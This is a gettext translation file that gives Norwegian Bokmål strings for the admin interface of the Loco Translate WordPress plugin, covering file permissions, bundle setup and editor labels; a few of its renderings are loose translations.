#: tpl/admin/root.php:54
msgid "These plugins have recently loaded translation files into the admin area"
msgstr "Disse utvidelsene har nylig lastet oversettelsefiler inn i administrasjonområdet"

#: tpl/admin/root.php:51
msgid "Running plugins:"
msgstr "Aktive utvidelser:"

#: src/admin/bundle/LocaleController.php:150 tpl/admin/root.php:43
msgid "See all themes"
msgstr "Se alle temaer"

#: tpl/admin/root.php:39
msgid "Active theme:"
msgstr "Aktivt tema:"

#: tpl/admin/root.php:30
msgid "Translations have been recently modified in the following bundles"
msgstr "Oversettelser har nylig blitt endret i følgende bunter"

#: tpl/admin/root.php:27
msgid "Recently updated:"
msgstr "Nylig oppdatert:"

#: src/admin/RootController.php:84
msgid "Welcome to Loco Translate"
msgstr "Velkommen til Loco Translate"

#: tpl/admin/list/inc-table.php:20
msgid "Sets"
msgstr "Sett"

#: tpl/admin/bundle/locale.php:32 tpl/admin/list/inc-table.php:11
msgid "Bundle name"
msgstr "Buntnavn"

#: tpl/admin/init/init-pot.php:42 tpl/admin/init/init-prompt.php:31
msgid "About templates"
msgstr "Om maler"

#: tpl/admin/init/init-prompt.php:23
msgid "This bundle doesn't define a translations template file"
msgstr "Denne bunten definerer ikke en oversettelsesmal fil"

#: tpl/admin/init/init-prompt.php:19
msgid "This bundle's template file doesn't exist yet. We recommend you create it before adding languages"
msgstr "Malfilen til denne bunten eksisterer ikke ennå. Vi anbefaler at du oppretter den før du legger til språk"

#: tpl/admin/init/init-copy.php:15 tpl/admin/init/init-prompt.php:15
msgid "Template missing"
msgstr "Mal mangler"

#: tpl/admin/init/init-pot.php:30
msgid "Strings will be extracted to:"
msgstr "Strenger vil bli hentet til:"

#. Translators: (1) Number of files excluded (2) the maximum size of file that
#. was included
#: tpl/admin/init/init-pot.php:24
msgid "Excludes %1$s file over %2$s"
msgid_plural "Excludes %1$s files over %2$s"
msgstr[0] "Ekskluderer %1$s fil over %2$s"
msgstr[1] "Ekskluderer %1$s filer over %2$s"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:16
msgid "%s on disk"
msgstr "%s på disken"

#: tpl/admin/init/init-pot.php:12
msgid "Source files to scan:"
msgstr "Kildefiler å skanne"

#: tpl/admin/init/init-po.php:169
msgid "Start translating"
msgstr "Begynn å oversett"

#: tpl/admin/init/init-po.php:159
msgid "Use this file as template when running Sync"
msgstr "Bruk denne filen som mal når du kjører synkronisering"

#: tpl/admin/file/conf.php:38 tpl/admin/init/init-po.php:139
msgid "Just copy English source strings"
msgstr "Bare kopier engelske kildestrenger"

#: tpl/admin/file/conf.php:32 tpl/admin/init/init-po.php:133
msgid "Copy target translations from \"%s\""
msgstr "Kopier mål oversettelser fra \"%s\""

#: tpl/admin/file/conf.php:12 tpl/admin/init/init-po.php:122
msgid "Template options"
msgstr "Alternativer for mal"

#: tpl/admin/init/init-po.php:77 tpl/admin/init/upload.php:15
msgid "Choose a location"
msgstr "Velg en plassering"

#: tpl/admin/init/init-po.php:63
msgid "Custom language"
msgstr "Egendefinert språk"

#: tpl/admin/init/init-po.php:51
msgid "Available languages"
msgstr "Tilgjengelige språk"

#: src/admin/bundle/LocaleController.php:124
#: src/admin/list/LocalesController.php:35 tpl/admin/init/init-po.php:45
msgid "Installed languages"
msgstr "Installerte språk"

#: tpl/admin/init/init-po.php:44
msgid "No language selected"
msgstr "Intet språk valgt"

#: tpl/admin/init/init-po.php:39
msgid "WordPress language"
msgstr "WordPress-språk"

#: tpl/admin/init/init-po.php:32
msgid "Choose a language"
msgstr "Velg et språk"

#: src/admin/init/InitPoController.php:389
msgid "Create template instead"
msgstr "Oppret mal isteden"

#: src/admin/init/InitPoController.php:392
msgid "You're creating translations directly from source code"
msgstr "Du lager oversettelser direkte fra kildekode"

#: tpl/admin/help/tab-support.php:6
msgid "Getting help with Loco Translate"
msgstr "Få hjelp med Loco Translate"

#: tpl/admin/help/tab-config-apis.php:9 tpl/admin/help/tab-config.php:9
msgid "Full documentation"
msgstr "Full dokumentasjon"

#: tpl/admin/help/tab-config.php:6
msgid "User options apply to your WordPress login, across all sites"
msgstr "Brukeralternativer gjelder for din WordPress-pålogging, på tvers av alle nettsteder"

#: tpl/admin/help/tab-config.php:5
msgid "Site options apply to all users of Loco Translate across the current site"
msgstr "Nettstedalternativer gjelder for alle brukere av Loco Translate over det gjeldende nettstedet"

#: tpl/admin/help/side-bar.php:12
msgid "Support forum"
msgstr "Brukerstøtteforum"

#: tpl/admin/file/view-mo.php:14
msgid "File is in binary MO format"
msgstr "Fil er i binært MO-format"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:96
msgid "To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s"
msgstr "For å opprette nye filer her må du koble til det eksterne filsystemet, eller gjøre katalogen skrivbar av %s"

#: tpl/admin/file/info.php:92
msgid "This directory can't be written to directly by the web server"
msgstr "Denne mappen kan ikke bli skrevet til direkte av tjeneren"

#: tpl/admin/file/info.php:81
msgid "Note that the file may not be deletable due to additional ownership permissions"
msgstr "Merk at filen kan kanskje ikke være slettbar på grunn av ytterligere eierskapstillatelser"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:73
msgid "The containing directory is writeable by %s, so you can add new files in the same location"
msgstr "Den inneholdende mappen er skrivbar av %s, så du kan legge til nye filer på den samme plasseringen"

#: tpl/admin/file/info.php:69
msgid "Directory is writeable"
msgstr "Mappen er skrivbar"

#. Translators: "either" meaning that the file itself can't exist without a
#. containing directory
#: tpl/admin/file/info.php:59
msgid "The containing directory for this file doesn't exist either"
msgstr "Den inneholdende mappen for denne filen eksisterer ikke heller"

#: tpl/admin/file/info.php:55
msgid "Directory doesn't exist"
msgstr "Mappen eksisterer ikke"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:43
msgid "To make changes you'll have to connect to the remote file system, or make the file writeable by %s"
msgstr "For å gjøre endringer må du koble til det eksterne filsystemet, eller gjøre filen skrivbar av %s"

#: tpl/admin/file/info.php:39
msgid "This file can't be updated directly by the web server"
msgstr "Denne filen kan ikke bli oppdatert direkte av tjeneren"

#: tpl/admin/file/info.php:27
msgid "You can update these translations directly from the editor to the file system"
msgstr "Du kan oppdatere disse oversettelsene direkte fra redigeringverktøyet til filsystemet"

#. Translators: Where %s is the type of file, e.g. "po"
#: tpl/admin/file/info.php:24
msgid "%s file is writeable"
msgstr "%s filen er skrivbar"

#: tpl/admin/file/info.php:14
msgid "File doesn't exist"
msgstr "Filen eksisterer ikke"

#: tpl/admin/file/info-pot.php:27
msgid "Last extracted"
msgstr "Sist hentet"

#: tpl/admin/file/info-po.php:88
msgid "These translations are not linked to a POT file. Sync operations will extract strings directly from source code."
msgstr "Disse oversettelsene er ikke knyttet til en .POT-fil. Synkronisering vil trekke ut strenger direkte fra kildekoden."

#: tpl/admin/file/info-po.php:84
msgid "Missing template"
msgstr "Mangler mal"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:75
msgid "PO file has different source strings to \"%s\". Try running Sync before making any changes."
msgstr ".PO-filen har forskjellige kildestrenger til \"%s\". Prøv å kjøre synkronisering før du gjør noen endringer."

#: tpl/admin/file/info-po.php:71
msgid "Out of sync with template"
msgstr "Ikke synkronisert med malen"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:64
msgid "PO file has the same source strings as \"%s\""
msgstr ".PO filen har samme kildestrenger som \"%s\""

#: tpl/admin/file/info-po.php:60
msgid "In sync with template"
msgstr "Synkronisert med mal"

#: tpl/admin/file/info-po.php:50
msgid "We can't find the binary MO file that belongs with these translations"
msgstr "Vi finner ikke den binære .MO-filen som tilhører disse oversettelsene"

#: tpl/admin/file/info-po.php:47
msgid "Binary file missing"
msgstr "Binærfil mangler"

#: tpl/admin/file/info-other.php:11
msgid "Unexpected file type"
msgstr "Uventet filtype"

#: tpl/admin/file/info-mo.php:41
msgid "We can't find the original PO file from which this was compiled"
msgstr "Vi kan ikke finne den opprinnelige .PO-filen som dette ble kompilert fra"

#: tpl/admin/file/info-mo.php:38
msgid "PO file missing"
msgstr ".PO-filen mangler"

#: tpl/admin/file/info-mo.php:27
msgid "Compiled translations"
msgstr "Kompilerte oversettelser"

#: tpl/admin/file/info-mo.php:24 tpl/admin/file/info-po.php:30
msgid "Last translation"
msgstr "Siste oversettelse"

#: tpl/admin/file/info-mo.php:21 tpl/admin/file/info-po.php:27
#: tpl/admin/file/info-pot.php:24
msgid "File modified"
msgstr "Fil modifisert"

#: tpl/admin/file/info-mo.php:15
msgid "compiled"
msgstr "kompilert"

#: tpl/admin/file/delete.php:30
msgid "Delete Permanently"
msgstr "Slett permanent"

#: tpl/admin/file/delete.php:16
msgid "Are you sure you want to <strong>permanently</strong> delete the following file?"
msgstr "Er du sikker på at du vil <strong>permanent</strong> slette følgende fil?"

#: tpl/admin/file/delete.php:12
msgid "Confirm delete"
msgstr "Bekreft sletting"

#. Translators: %s is a URL. Keep the <a> tag intact
#: tpl/admin/errors/no-tokenizer.php:25
msgid "You can still translate any bundle that has a <a href=\"%s\" target=\"_blank\">template</a>"
msgstr "Du kan oversette enhver bunt som har en <a href=\"%s\" target=\"_blank\">mal</a>"

#. Translators: change "en" in the URL to your language if it's available at
#. https://www.php.net/docs.php
#: tpl/admin/errors/no-tokenizer.php:17
msgid "Loco requires the <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer extension</a> to scan PHP source code for translatable strings"
msgstr "Loco krever <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer-utvidelsen</a> for å skanne PHP-kildekoden for oversettbare strenger"

#: tpl/admin/errors/no-tokenizer.php:11
msgid "About the Tokenizer"
msgstr "Om Tokenizer"

#: tpl/admin/errors/file-missing.php:14
msgid "Either this file is missing or the server doesn't have permission to access it"
msgstr "Enten mangler denne filen eller har ikke tjeneren rettigheter for å få tilgang til den"

#: tpl/admin/errors/file-missing.php:11
msgid "File not found"
msgstr "Fil ikke funnet"

#: tpl/admin/errors/file-isdir.php:14
msgid "This page was expecting a file, but the path is actually a directory"
msgstr "Denne siden forventet en fil, men banen er egentlig en mappe"

#: tpl/admin/errors/file-isdir.php:11
msgid "File is a directory"
msgstr "Fil er en mappe"

#: tpl/admin/config/version.php:38
msgid "You're running the latest version of Loco Translate"
msgstr "Du kjører den siste (nyeste) versjonen av Loco Translate"

#: tpl/admin/config/version.php:17
msgid "Upgrade to %s"
msgstr "Oppgrader til %s"

#: tpl/admin/config/version.php:11 tpl/admin/config/version.php:25
#: tpl/admin/config/version.php:35
msgid "Version %s"
msgstr "Versjon %s"

#: tpl/admin/config/settings.php:216
msgid "Allow full access to these roles"
msgstr "Tillat med full tilgang til disse rollene"

#: tpl/admin/config/settings.php:210
msgid "Grant access to roles"
msgstr "Gi tilgang til roller"

#: tpl/admin/config/settings.php:75 tpl/admin/config/settings.php:182
msgid "Not recommended"
msgstr "Ikke anbefalt"

#: tpl/admin/config/settings.php:75
msgid "Add UTF-8 byte order mark"
msgstr "Legg til UTF-8 byte order mark (BOM)"

#: tpl/admin/config/settings.php:52 tpl/admin/config/settings.php:58
msgid "Saving PO/POT files"
msgstr "Lagrer .PO / .POT-filer"

#: tpl/admin/config/settings.php:37
msgid "Scan PHP files with extensions:"
msgstr "Skann .PHP-filer med utvidelser:"

#: tpl/admin/config/settings.php:31
msgid "Skip PHP files larger than:"
msgstr "Hopp over .PHP filer større enn:"

#: tpl/admin/config/settings.php:21 tpl/admin/config/settings.php:27
msgid "Extracting strings"
msgstr "Trekker ut strenger"

#: tpl/admin/config/prefs.php:16 tpl/admin/config/prefs.php:20
msgid "Translator credit"
msgstr "Kreditering av oversetter"

#. translators: text field placeholder
#: tpl/admin/common/inc-table-filter.php:6
msgid "Filter..."
msgstr "Filter..."

#: tpl/admin/common/inc-fsconn.php:60
msgid "Connect"
msgstr "Koble til"

#. Translators: When a file or folder cannot be modified due to filesystem
#. permissions
#: tpl/admin/common/inc-fsconn.php:50 tpl/admin/file/info.php:36
#: tpl/admin/file/info.php:89
msgid "Write protected"
msgstr "Skrivebeskyttet"

#: tpl/admin/bundle/view.php:55
msgid "This bundle isn't automatically compatible and requires configuring before you can use all the functions of Loco Translate"
msgstr "Denne bunten er ikke automatisk kompatibel og krever konfigurering før du kan bruke alle funksjonene til Loco Translate"

#: tpl/admin/bundle/view.php:52
msgid "unconfigured"
msgstr "ukonfigurert"

#: tpl/admin/bundle/view.php:35 tpl/admin/bundle/view.php:57
msgid "Click the <a href=\"%s\">setup</a> tab to complete the bundle configuration"
msgstr "Klikk på fanen <a href=\"%s\">oppsett</a> for å fullføre buntkonfigurasjonen"

#: tpl/admin/bundle/view.php:32
msgid "This bundle isn't fully configured, so we don't know what the following files are for"
msgstr "Denne bunten er ikke fullstendig konfigurert, så vi vet ikke hva følgende filer er for"

#: tpl/admin/bundle/view.php:29
msgid "Additional files found"
msgstr "Ekstra filer funnet"

#: tpl/admin/bundle/setup.php:39
msgid "If you have trouble translating this bundle, consider asking the author for help"
msgstr "Om du har problemer med å oversette denne bunten, vurder å spørre forfatteren om hjelp"

#: tpl/admin/bundle/setup.php:36
msgid "Author details"
msgstr "Forfatter detaljer"

#: tpl/admin/bundle/setup/saved.php:19
msgid "Edit config"
msgstr "Rediger konfigurasjon"

#: tpl/admin/bundle/setup/saved.php:14
msgid "This bundle's configuration is saved in the WordPress database"
msgstr "Denne bunten sin konfigurasjoner lagret i WordPress database"

#: tpl/admin/bundle/setup/saved.php:11
msgid "Bundle configuration saved"
msgstr "Buntkonfigurasjon lagret"

#: tpl/admin/bundle/setup/partial.php:14
msgid "This bundle's configuration has been automatically detected, but isn't fully complete"
msgstr "Denne bunten sin konfigurasjon er automatisk oppdaget, men er ikke fullstendig kompatibel"

#: tpl/admin/bundle/setup/partial.php:11
msgid "Partially configured bundle"
msgstr "Delvis konfigurert bunt"

#: tpl/admin/bundle/setup/none.php:15
msgid "It needs configuring before you can do any translations"
msgstr "Den trenger konfigurering før du kan gjøre noen oversettelser"

#: tpl/admin/bundle/setup/none.php:14
msgid "This bundle isn't set up for translation in a way we understand"
msgstr "Denne bunten er ikke satt opp for oversettelse på en måte vi forstår"

#: tpl/admin/bundle/setup/none.php:11
msgid "Unconfigured bundle"
msgstr "Ukonfigurert bunt"

#: tpl/admin/bundle/setup/meta.php:14
msgid "This bundle's configuration has been automatically detected and seems to be fully compatible"
msgstr "Denne buten sin konfigurasjon har blitt automatisk oppdaget og den virker fullstendig kompatibel"

#: tpl/admin/bundle/setup/inc-nav.php:25
msgid "Get help with this"
msgstr "Få hjelp med dette"

#: tpl/admin/bundle/setup/inc-nav.php:22
msgid "Import config from XML"
msgstr "Importer konfigurasjon fra XML"

#: tpl/admin/bundle/setup/core.php:13
msgid "This bundle's configuration is built into Loco Translate"
msgstr "Denne buntens konfigurasjon er innebygget i Loco Translate"

#: tpl/admin/bundle/setup/core.php:10 tpl/admin/bundle/setup/meta.php:11
msgid "Bundle auto-configured"
msgstr "Bunt automatisk konfigurert"

#: tpl/admin/bundle/setup/conf.php:55
msgid "Load config"
msgstr "Last inn konfigurasjon"

#: tpl/admin/bundle/setup/conf.php:49
msgid "If you've been given a configuration file by a developer, paste the XML code here"
msgstr "Hvis du har fått en konfigurasjonsfil av en utvikler, lim inn XML-koden her"

#: tpl/admin/bundle/setup/conf.php:46
msgid "XML setup"
msgstr "XML-oppsett"

#: tpl/admin/bundle/setup/conf.php:56
msgid "Cancel"
msgstr "Avbryt"

#: tpl/admin/bundle/setup/author.php:15 tpl/admin/bundle/setup/core.php:14
#: tpl/admin/bundle/setup/meta.php:15
msgid "You can make changes in the Advanced tab if you need to override the current settings"
msgstr "Du kan gjøre endringer i Avansert fanen om du må overstyre gjeldende innstillinger"

#: tpl/admin/bundle/setup/author.php:14
msgid "This bundle's configuration is provided by the author"
msgstr "Denne bunten sin konfigurasjoner er levert av forfatteren"

#: tpl/admin/bundle/setup/author.php:11
msgid "Official configuration"
msgstr "Offisiell konfigurasjon"

#: tpl/admin/bundle/inc-po-table.php:124
msgid "No translations found for \"%s\""
msgstr "Ingen oversettelser funnet for \"%s\""

#: tpl/admin/bundle/inc-po-table.php:57 tpl/admin/bundle/locale.php:69
msgid "Info"
msgstr "Info"

#: tpl/admin/bundle/inc-po-table.php:60 tpl/admin/bundle/locale.php:72
msgid "Copy"
msgstr "Kopier"

#: tpl/admin/bundle/inc-po-table.php:51 tpl/admin/bundle/locale.php:63
msgid "Edit"
msgstr "Rediger"

#: tpl/admin/bundle/inc-po-table.php:31 tpl/admin/bundle/locale.php:49
msgid "Folder"
msgstr "Mappe"

#: tpl/admin/bundle/inc-po-table.php:28 tpl/admin/bundle/locale.php:46
#: tpl/admin/list/inc-table.php:17 tpl/admin/list/locales.php:19
msgid "Last modified"
msgstr "Sist modifisert"

#: tpl/admin/bundle/inc-po-table.php:22 tpl/admin/bundle/locale.php:39
msgid "Pending"
msgstr "Ventende"

#: tpl/admin/bundle/inc-po-table.php:16 tpl/admin/bundle/locale.php:36
#: tpl/admin/file/info-po.php:33
msgid "Translation progress"
msgstr "Fremgang for oversettelse"

#: tpl/admin/bundle/inc-po-table.php:13
msgid "Language"
msgstr "Språk"

#: tpl/admin/bundle/conf.php:159 tpl/admin/bundle/setup/saved.php:18
msgid "Reset config"
msgstr "Tilbakestill konfigurasjon"

#: tpl/admin/bundle/conf.php:146
msgid "XML"
msgstr "XML"

#: tpl/admin/bundle/conf.php:144
msgid "Parent theme"
msgstr "Foreldertema"

#: tpl/admin/bundle/conf.php:142
msgid "Add set"
msgstr "Legg til sett"

#: tpl/admin/bundle/conf.php:141
msgid "Save config"
msgstr "Lagre konfigurasjon"

#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:134
msgid "Folders within the bundle that will never be searched for files"
msgstr "Mapper inne i bunten som aldri vill bli søkt gjennom for filer"

#: tpl/admin/bundle/conf.php:128
msgid "Blocked paths"
msgstr "Blokkerte baner"

#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#: tpl/admin/bundle/conf.php:113
msgid "Files and folders within the bundle that contain localized PHP code"
msgstr "Filer og mapper inne i bunten som inneholder lokalisert PHP kode"

#: tpl/admin/bundle/conf.php:100
msgid "Source file paths"
msgstr "Kildebaner"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94 tpl/admin/bundle/conf.php:113
#: tpl/admin/bundle/conf.php:134
msgid "no wildcards"
msgstr "ingen jokertegn"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94
msgid "Folders within the bundle that contain author-supplied translations"
msgstr "Mapper inne i bunten som inneholder forfatter-leverte oversettelser."

#: tpl/admin/bundle/conf.php:89 tpl/admin/bundle/conf.php:108
msgid "Exclude"
msgstr "Ekskluder "

#: tpl/admin/bundle/conf.php:85 tpl/admin/bundle/conf.php:104
msgid "Include"
msgstr "Inkluder"

#: tpl/admin/bundle/conf.php:81
msgid "Domain path"
msgstr "Domenebane"

#. Translators: Help tip for "Template file" field in advanced bundle config
#: tpl/admin/bundle/conf.php:75
msgid "Relative path from bundle root to the official POT file"
msgstr "Relativ bane fra buntroten til den offisielle .POT filen"

#: tpl/admin/bundle/conf.php:71 tpl/admin/common/inc-fsconn.php:12
msgid "Locked"
msgstr "Låst"

#. Translators: Help tip for "File prefix" field in advanced bundle config
#: tpl/admin/bundle/conf.php:59
msgid "Usually the same as the text domain, but don't leave blank unless you mean to"
msgstr "Vanligvis det samme som tekstdomenet, men ikke la det være tomt om du ikke mener det"

#: tpl/admin/bundle/conf.php:53
msgid "File prefix"
msgstr "Filprefix"

#. Translators: Help tip for "Text domain" field in advanced bundle config
#: tpl/admin/bundle/conf.php:47
msgid "The namespace into which WordPress will load translated strings"
msgstr "Tekst-domenet som WordPress vil laste oversatte strenger fra"

#: tpl/admin/bundle/conf.php:41 tpl/admin/list/inc-table.php:14
msgid "Text domain"
msgstr "Tekst-domene"

#. Translators: Help tip for "Project name" field in advanced bundle config
#: tpl/admin/bundle/conf.php:35
msgid "Descriptive name for this set of translatable strings"
msgstr "Beskrivende navn for dette settet med oversettbare strenger"

#: tpl/admin/bundle/conf.php:29
msgid "Project name"
msgstr "Prosjektnavn"

#: tpl/admin/bundle/alias.php:17
msgid "Go to WordPress Core"
msgstr "Gå til WordPress Kjernen"

#: tpl/admin/bundle/alias.php:11
msgid "\"Hello Dolly\" is part of the WordPress core"
msgstr "\"Hello Dolly\" er en del av WordPress-kjernen"

#. translators: %s refers to the handle of a plugin, e.g.
#. "loco-translate/loco.php"
#: src/package/Plugin.php:225
msgid "Plugin not found: %s"
msgstr "Utvidelse ikke funnet: %s"

#: src/package/Header.php:93
msgid "Visit official site"
msgstr "Besøk det offisielle nettstedet"

#: src/admin/bundle/LocaleController.php:144 src/package/Core.php:85
msgid "WordPress Core"
msgstr "WordPress-kjernen"

#: src/package/Core.php:29
msgid "https://wordpress.org/"
msgstr "https://nb.wordpress.org/"

#: src/package/Core.php:28
msgid "The WordPress Team"
msgstr "WordPress-gjengen"

#: src/package/Core.php:26
msgid "WordPress core"
msgstr "WordPress-kjernen"

#. translators: (1) is the name of a PHP script, (2) is a line number in the
#. file
#: src/output/Buffer.php:130
msgid "Loco was interrupted by output from %1$s:%2$u"
msgstr "Loco forstyrret av visning fra %1$s:%2$u"

#. translators: %s: Human-readable time difference.
#: src/mvc/FileParams.php:152
msgid "%s ago"
msgstr "%s siden"

#. translators: relative time when something happened in the last 30 seconds
#: src/mvc/FileParams.php:149
msgid "Just now"
msgstr "Akkurat nå"

#: src/mvc/FileParams.php:145
msgid "Y/m/d"
msgstr "d.m.Y"

#: src/mvc/Controller.php:49
msgid "You do not have sufficient permissions to access this page."
msgstr "Du har ikke tilstrekkelig rettigheter for å få tilgang til denne siden."

#: src/mvc/AjaxRouter.php:203
msgid "Download controller returned empty output"
msgstr "Nedlastings kontrolleren returnerte tomt resultat"

#: src/mvc/AjaxRouter.php:198
msgid "Download action not found"
msgstr "Nedlastningshandling ikke funnet"

#: src/mvc/AjaxRouter.php:175
msgid "Ajax controller returned empty JSON"
msgstr "Ajax-kontrolleren returnerte tom JSON"

#. translators: Fatal error where %s represents an unexpected value
#: src/mvc/AjaxRouter.php:170
msgid "Ajax route not found: \"%s\""
msgstr "Ajax rute ikke funnet: \"%s\""

#: src/mvc/AdminRouter.php:243
msgid "Page not found"
msgstr "Side ikke funnet"

#. translators: Page title for core WordPress translations
#: src/mvc/AdminRouter.php:56
msgid "Core translations &lsaquo; Loco"
msgstr "Kopier oversettelser &lsaquo; Loco"

#: src/mvc/AdminRouter.php:54
msgid "WordPress"
msgstr "WordPress"

#. translators: Page title for plugin translations
#: src/mvc/AdminRouter.php:51
msgid "Plugin translations &lsaquo; Loco"
msgstr "Oversettelse av utvidelser &lsaquo; Loco"

#. translators: Page title for theme translations
#: src/mvc/AdminRouter.php:46
msgid "Theme translations &lsaquo; Loco"
msgstr "Oversettelser av tema &lsaquo; Loco"

#: src/mvc/AdminRouter.php:42
msgid "Home"
msgstr "Hjem"

#: src/mvc/AdminController.php:114
msgid "Loco Translate is powered by"
msgstr "Loco Translate er drevet av"

#: src/mvc/AdminController.php:51
msgid "Help & support"
msgstr "Hjelp & brukerstøtte"

#. translators: List heading showing preview of translated text for each item
#: src/js/Strings.php:183
msgctxt "Editor"
msgid "Translation"
msgstr "Oversettelse"

#. translators: Label for the translation editing window when no translation
#. selected
#: src/js/Strings.php:180
msgctxt "Editor"
msgid "Translation not loaded"
msgstr "Oversettelse ikke lastet inn"

#. translators: Label for the context window when no translation selected
#: src/js/Strings.php:177
msgctxt "Editor"
msgid "Context not loaded"
msgstr "Kontekst ikke lastet inn"

#. translators: Label for the source text window when no translation selected
#: src/js/Strings.php:174
msgctxt "Editor"
msgid "Source text not loaded"
msgstr "Kildekode ikke lastet inn"

#. translators: Label for the plural form of the original English text
#: src/js/Strings.php:93 src/Locale.php:375 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Plural"
msgstr "Flertall"

#. translators: Label for the singular form of the original English text
#: src/js/Strings.php:96 src/Locale.php:374 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Single"
msgstr "Enkelt"

#. translators: Label for the window pane for entering translator comments
#: src/js/Strings.php:159
msgctxt "Editor"
msgid "Comments"
msgstr "Kommentarer"

#. translators: Label for the window pane holding message context
#: src/js/Strings.php:156
msgctxt "Editor"
msgid "Context"
msgstr "Kontekst"

#. translators: Where %s is the name of the language, e.g. "French translation"
#. xgettext: javascript-format
#: src/js/Strings.php:153
msgctxt "Editor"
msgid "%s translation"
msgstr "%s oversettelse"

#. translators: Label for the window pane holding the original English text
#. translators: List heading showing preview of English text for each item
#: src/js/Strings.php:149 tpl/admin/file/info-pot.php:30
msgctxt "Editor"
msgid "Source text"
msgstr "Kildekode"

#. translators: Generic error when external process broke an Ajax request
#: src/js/Strings.php:136
msgid "Server returned invalid data"
msgstr "Tjeneren returnerte ugyldige data"

#: src/js/Strings.php:139
msgid "Check console output for debugging information"
msgstr "Sjekk konsollen for feilsøkingsinformasjon"

#: src/js/Strings.php:142
msgid "Provide the following text when reporting a problem"
msgstr "Gi følgende tekst når du rapporterer et problem"

#. translators: When text filtering reduces to an empty view
#: src/js/Strings.php:14
msgid "Nothing matches the text filter"
msgstr "Ingenting stemmer med tekstfilteret"

#: src/hooks/AdminHooks.php:129 tpl/ajax/modal-apis-batch.php:37
msgid "Translate"
msgstr "Oversett"

#. translators: Error thrown when attempting to parse a file that is not a
#. supported translation file format
#: src/gettext/Data.php:25
msgid "%s is not a Gettext file"
msgstr "%s er ikke en Gettext-fil"

#. Translators: Refers to translation files in an alternative location that
#. isn't Author, System or Custom.
#: src/fs/LocaleDirectory.php:72
msgctxt "File location"
msgid "Other"
msgstr "Andre"

#. Translators: Refers to translation files in Loco's custom/protected
#. directory
#: src/fs/LocaleDirectory.php:69
msgctxt "File location"
msgid "Custom"
msgstr "Egendefinert "

#. Translators: Refers to system-installed translation files - i.e. those under
#. WP_LANG_DIR
#: src/fs/LocaleDirectory.php:66
msgctxt "File location"
msgid "System"
msgstr "System"

#. Translators: Refers to bundled plugin or theme translation files - i.e.
#. those supplied by the author
#: src/fs/LocaleDirectory.php:63
msgctxt "File location"
msgid "Author"
msgstr "Forfatter"

#: src/fs/FileWriter.php:308
msgid "File modification is disallowed by your WordPress config"
msgstr "Filendring er ikke tillatt av WordPress konfigurasjonen din"

#: src/fs/FileWriter.php:297
msgid "Failed to build directory path"
msgstr "Feilet å bygge katalogsti"

#: src/fs/FileWriter.php:289
msgid "Failed to create directory"
msgstr "Feilet å opprette mappe"

#: src/fs/FileWriter.php:253
msgid "Failed to save file"
msgstr "Feilet å lagre fil"

#: src/fs/FileWriter.php:243
msgid "Permission denied to update file"
msgstr "Tillatelse nektet for å oppdatere filen"

#. translators: %s refers to a directory name which was expected to be an
#. ordinary file
#: src/fs/FileWriter.php:218
msgid "\"%s\" is a directory, not a file"
msgstr "\"%s\" er en mappe, ikke en fil"

#. translators: %s refers to a file name, for which a delete operation failed.
#: src/fs/FileWriter.php:201
msgid "Failed to delete %s"
msgstr "Feilet å slette %s"

#. translators: (1) Source file name (2) Target file name
#: src/fs/FileWriter.php:162
msgid "Failed to copy %1$s to %2$s"
msgstr "Mislyktes å kopiere %1$s til %2$s"

#: src/fs/FileWriter.php:151
msgid "Refusing to copy over an existing file"
msgstr "Nekter å kopiere over en eksisterende fil"

#. translators: %s refers to a file name, for which the chmod operation failed.
#: src/fs/FileWriter.php:133
msgid "Failed to chmod %s"
msgstr "Feilet å chmod %s"

#: src/fs/FileWriter.php:52
msgid "Failed to connect to remote server"
msgstr "Feilet å koble til ekstern tjener"

#: src/error/XmlParseException.php:8
msgid "XML parse error"
msgstr "XML-analysefeil"

#: src/error/Warning.php:19 src/js/Strings.php:127
msgid "Warning"
msgstr "Advarsel"

#: src/error/Success.php:19 src/js/Strings.php:133
msgid "OK"
msgstr "OK"

#: src/error/Notice.php:20 src/js/Strings.php:130
#: tpl/admin/common/inc-fsconn.php:37
msgid "Notice"
msgstr "Merk"

#: src/error/Exception.php:163 src/js/Strings.php:124
msgid "Error"
msgstr "Feil"

#: src/data/Permissions.php:155
msgctxt "User role"
msgid "Translator"
msgstr "Oversetter"

#: src/config/XMLModel.php:54
msgid "XML supplied is empty"
msgstr "XML som ble levert er tom"

#: src/config/FormModel.php:147
msgid "Text Domain cannot be empty"
msgstr "Tekst-domenet kan ikke være tomt"

#. translators: used when username of web server process is unknown
#: src/compat/PosixExtension.php:115
msgid "the web server"
msgstr "webtjeneren"

#. translators: %s refers to the name of a new file to be created, but which
#. already existed
#: src/api/WordPressFileSystem.php:87
msgid "%s already exists in this folder"
msgstr "%s eksisterer allerede i denne mappen"

#: src/ajax/XgettextController.php:67
msgid "Template file created"
msgstr "Malfil opprettet"

#: src/gettext/Compiler.php:94
msgid "PO file saved, but MO file compilation failed"
msgstr ".PO-fil lagret, men .MO-filkompileringen feilet"

#: src/gettext/Compiler.php:283
msgid "PO file saved and MO file compiled"
msgstr ".PO fil lagret og .MO filen kompilert"

#. translators: %s refers to a directory where a backup file could not be
#. created due to file permissions
#: src/fs/Revisions.php:222
msgid "Failed to create backup file in \"%s\". Check file permissions or disable backups"
msgstr "Feilet å opprette sikkerhetskopi i \"%s\". Kontroller filtillatelsene eller deaktiver sikkerhetskopier"

#: src/ajax/MsginitController.php:63
msgid "MO file exists for this language already. Delete it first"
